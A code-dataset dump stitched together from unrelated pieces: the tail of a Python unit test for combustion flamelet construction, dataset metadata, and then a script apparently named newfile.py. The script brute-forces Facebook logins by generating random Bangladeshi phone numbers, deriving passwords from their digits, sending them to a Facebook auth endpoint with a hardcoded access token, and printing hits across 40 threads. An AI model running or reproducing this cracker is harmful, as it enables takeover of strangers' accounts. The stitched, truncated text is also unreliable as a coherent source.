'fuel_stream': fuel, 'initial_condition': initialization, 'heat_transfer': 'nonadiabatic', 'scale_heat_loss_by_temp_range': False, 'scale_convection_by_dissipation': False, 'use_linear_ref_temp_profile': True, 'convection_coefficient': 1.e7, 'radiative_emissivity': 0.} flamelet_specs.update(grid_specs) flamelet_specs.update(drf_specs) Flamelet(**flamelet_specs) Flamelet(flamelet_specs=flamelet_specs) fso = FlameletSpec(**flamelet_specs) f = Flamelet(fso) fso_pickle = pickle.dumps(fso) fso2 = pickle.loads(fso_pickle) f = Flamelet(fso2) lib = f.make_library_from_interior_state(f.initial_interior_state) Flamelet(library_slice=lib) lib_pickle = pickle.dumps(lib) lib2 = pickle.loads(lib_pickle) Flamelet(library_slice=lib2) flamelet_specs = {'mech_spec': mechanism, 'oxy_stream': air, 'fuel_stream': fuel, 'initial_condition': initialization, 'heat_transfer': 'nonadiabatic', 'scale_heat_loss_by_temp_range': False, 'scale_convection_by_dissipation': True, 'use_linear_ref_temp_profile': True, 'convection_coefficient': 1.e7, 'radiative_emissivity': 0.} flamelet_specs.update(grid_specs) flamelet_specs.update(drf_specs) Flamelet(**flamelet_specs) Flamelet(flamelet_specs=flamelet_specs) fso = FlameletSpec(**flamelet_specs) f = Flamelet(fso) fso_pickle = pickle.dumps(fso) fso2 = pickle.loads(fso_pickle) f = Flamelet(fso2) lib = f.make_library_from_interior_state(f.initial_interior_state) Flamelet(library_slice=lib) lib_pickle = pickle.dumps(lib) lib2 = pickle.loads(lib_pickle) Flamelet(library_slice=lib2) return True except: return False def create_test(ht, ic, gt, drf): if ht == 'adiabatic': def test(self): self.assertTrue(construct_adiabatic_flamelet(ic, gt, drf)) elif ht == 'nonadiabatic': def test(self): self.assertTrue(construct_nonadiabatic_flamelet(ic, gt, drf)) return test class Construction(unittest.TestCase): pass test_xml = abspath(join('tests', 'test_mechanisms', 'h2-burke.xml')) mechanism = ChemicalMechanismSpec(cantera_xml=test_xml, group_name='h2-burke') air = mechanism.stream(stp_air=True) fuel = mechanism.stream('X', 'H2:1') fuel.TP = 300, air.P flamelet_specs = {'mech_spec': mechanism, 'oxy_stream': air, 'fuel_stream': fuel, 'grid_points': 8, 'grid_cluster_intensity': 4., 'initial_condition': 'equilibrium', 'max_dissipation_rate': 0.} temp_flamelet = Flamelet(**flamelet_specs) for ht in temp_flamelet._heat_transfers: for ic in ['equilibrium', 'linear-TY', 'unreacted', temp_flamelet.initial_interior_state]: for gt in ['uniform', 'clustered-1args', 'clustered-2args', 'clustered-3args', 'custom']: for drf in ['uniform', 'Peters', 'custom']: ic_str = 'icstate' if isinstance(ic, np.ndarray) else ic testname = 'test_construct_flamelet_' + ht + '_' + ic_str + '_' + gt + '_' + drf setattr(Construction, testname, create_test(ht, ic, gt, drf)) if __name__ == '__main__': unittest.main()

38.378049

97

0.601313

1,032

9,441

5.184109

0.126938

0.089907

0.026916

0.054206

0.854953

0.842243

0.828411

0

0.015213

0.2898

9,441

245

98

38.534694

0.782699

0

0.826733

0

0.18981

0.064612

0

0.009901

1

0.024752

false

0.004951

0.024752

0

0.079208

0

null

0

1

0

1

0

null

0

7

9dd1675dcca8b7c45a39bdad38fc6485f172184a

27,433

py

Python

newfile.py

HANTER2/z

1cc18ba7cd86ebf5b6795b08022c29eb3bba8f61

[ "Apache-2.0" ]

null

newfile.py

HANTER2/z

1cc18ba7cd86ebf5b6795b08022c29eb3bba8f61

[ "Apache-2.0" ]

null

newfile.py

HANTER2/z

1cc18ba7cd86ebf5b6795b08022c29eb3bba8f61

[ "Apache-2.0" ]

null

import os import time import sys import random import requests from threading import Thread as pool #text colour() white = '\33[90m' red = '\33[91m' green = '\33[92m' yollow = '\33[93m' blue = '\33[94m' rosy = '\33[95m' pest = '\33[96m' blue = '\x1b[94m' lightblue = '\x1b[94m' red = '\x1b[91m' white = '\x1b[97m' green = '\x1b[93m' green = '\x1b[1;32m' cyan = '\x1b[96m' end = '\x1b[0m' yellow = '\n\n\x1b[1;93m' #colour end file2=("file",'a') try: import requests import mechanize except: os.system("pip install requests") os.system("pip install mechanize") os.system("pip2 install requests") os.system("pip2 install mechanize") logo11=(yellow+""" ███╗░░░███╗██████╗░ ████╗░████║██╔══██╗ ██╔████╔██║██║░░██║ ██║╚██╔╝██║██║░░██║ ██║░╚═╝░██║██████╔╝ ╚═╝░░░░░╚═╝╚═════╝░ ░█████╗░██╗░░░░░░█████╗░███╗░░░███╗██╗███╗░░██╗ ██╔══██╗██║░░░░░██╔══██╗████╗░████║██║████╗░██║ ███████║██║░░░░░███████║██╔████╔██║██║██╔██╗██║ ██╔══██║██║░░░░░██╔══██║██║╚██╔╝██║██║██║╚████║ ██║░░██║███████╗██║░░██║██║░╚═╝░██║██║██║░╚███║ ╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝╚═╝░░╚══╝ \x1b[94m ╔═══╦╗─╔╦═══╦╗╔╗╔╦═══╦╗─╔╦╗─╔╦═══╦╗──╔╗ ║╔═╗║║─║║╔═╗║║║║║╠╗╔╗║║─║║║─║║╔═╗║╚╗╔╝║ ║║─╚╣╚═╝║║─║║║║║║║║║║║╚═╝║║─║║╚═╝╠╗╚╝╔╝ ║║─╔╣╔═╗║║─║║╚╝╚╝║║║║║╔═╗║║─║║╔╗╔╝╚╗╔╝ ║╚═╝║║─║║╚═╝╠╗╔╗╔╬╝╚╝║║─║║╚═╝║║║╚╗─║║ ╚═══╩╝─╚╩═══╝╚╝╚╝╚═══╩╝─╚╩═══╩╝╚═╝─╚╝""") alamin=(green+"\n---------------------- Delovement by MD ALAMIN CHOWDOWRY --------") def b (z): for word in z + '\n': sys.stdout.write(word) sys.stdout.flush() time.sleep(0.3) os.system('clear') print(logo11) print(red+"#######################################################") print(green+"# GITHHP:https://github.com/HANTER2 #") print("# FB:Mdalamin54321 #") print("# Whatapp&&Imo :+8801705677081 #") print("# Tnx For GITHUP:cracker911181 #") print("# Youtube:MAFIYA CYBER KING #") print(red+"#######################################################") print(green+"\n[1] GP ") print(green+"\n[2] Robi") print(green+"\n[3] Bangalink") print(cyan+"\n[4] Contact me") print(red+"\n\n*****************************************************") a=input(green+"\n\nEnter Your BD Oparator : ") b(cyan+" []Loding\x1b[1;32m ....") sys.stdout.flush() time.sleep(9) os.system('clear') if a=="1": print(green+""" _____ _____ / ____| | __ \ | | __ | |__) | | | |_ | | ___/ | |__| | | | \_____| |_|""") print(green+"\n171,172,173,174,176,175,177,179,170,178") if a=="2": print(""" _______ __ __ | \ | \ | \ | $$$$$$$\ ______ | $$____ \$$ | $$__| $$ / \ | $$ \ | \ | $$ $$| $$$$$$\| $$$$$$$\| $$ | $$$$$$$\| $$ | $$| $$ | $$| $$ | $$ | $$| $$__/ $$| $$__/ $$| $$ | $$ | $$ \$$ $$| $$ $$| $$ \$$ \$$ \$$$$$$ \$$$$$$$ \$$ """) print(alamin) print(red+"\n 181,182,183,184,185,186,187,188,189,180") if a=="3": print(green+""" ____ | _ \ | |_) | __ _ _ __ __ _ __ _ | _ < / _` | '_ \ / _` |/ _` | | |_) | (_| | | | | (_| | (_| | |____/ \__,_|_| |_|\__, |\__,_| __/ | |___/ \33[94m .-. .-..-. .-..-. .-. | | | || `| || |/ / | `--.| || |\ || |\ \ `----'`-'`-' `-'`-' `-' """) print(green+"\n---------------------- Delovement by MD ALAMIN CHOWDOWRY --------") print(green+"\n191,192,193,194,195,196,197,198,199,190") if a=="4": os.system("xdg-open https://www.facebook.com/Mdalamin54321") manu() code=str(input("\nEnter Your Code: ")) print(green+"\nTo Exit: Pess (Ctrl +c)\n") print(cyan+"\n♦♠♥♣♠♦♥♠♥♠♥♪♥♠♦♠♥♠♦♠♥♣♠♪♥♦") ############################## def hi1(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: a=("\n+"+user1," | ",pas1) def hi2(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi3(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi4(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi5(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi6(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi7(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi8(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi9(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi10(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi11(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi12(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi13(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi14(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi15(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi16(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi17(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi18(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi19(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi20(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi21(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi22(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi23(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi24(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi25(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi26(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi27(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi28(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi29(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi30(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi31(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi32(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi33(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi34(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi35(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi36(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi37(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi38(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi39(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) def hi40(): for i in range(100): ur=random.randint(1111111,9999999) aa=str(ur) usr=str(ur) user1=str('880'+code+usr) pas1=str(user1[7:13]) g=requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='+user1+'&locale=en_US&password='+pas1+'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm').text # print(user # print(pas) y=str(g[14:17]) if y=="401": continue else: print("\n+"+user1," | ",pas1) ############################# t1=pool(target=hi1) t2=pool(target=hi2) t3=pool(target=hi3) t4=pool(target=hi4) t5=pool(target=hi5) t6=pool(target=hi6) t7=pool(target=hi7) t8=pool(target=hi8) t9=pool(target=hi9) t10=pool(target=hi10) t11=pool(target=hi11) t12=pool(target=hi12) t13=pool(target=hi13) t14=pool(target=hi14) t15=pool(target=hi15) t16=pool(target=hi16) t17=pool(target=hi17) t18=pool(target=hi18) t19=pool(target=hi19) t20=pool(target=hi20) t21=pool(target=hi21) t22=pool(target=hi22) t23=pool(target=hi23) t24=pool(target=hi24) t25=pool(target=hi25) t26=pool(target=hi26) t27=pool(target=hi27) t28=pool(target=hi28) t29=pool(target=hi29) t30=pool(target=hi30) t31=pool(target=hi31) t32=pool(target=hi32) t33=pool(target=hi33) t34=pool(target=hi34) t35=pool(target=hi35) t36=pool(target=hi36) t37=pool(target=hi37) t38=pool(target=hi38) t39=pool(target=hi39) t40=pool(target=hi40) ############### t1.start() t2.start() t3.start() t4.start() t5.start() t6.start() t7.start() t8.start() t9.start() 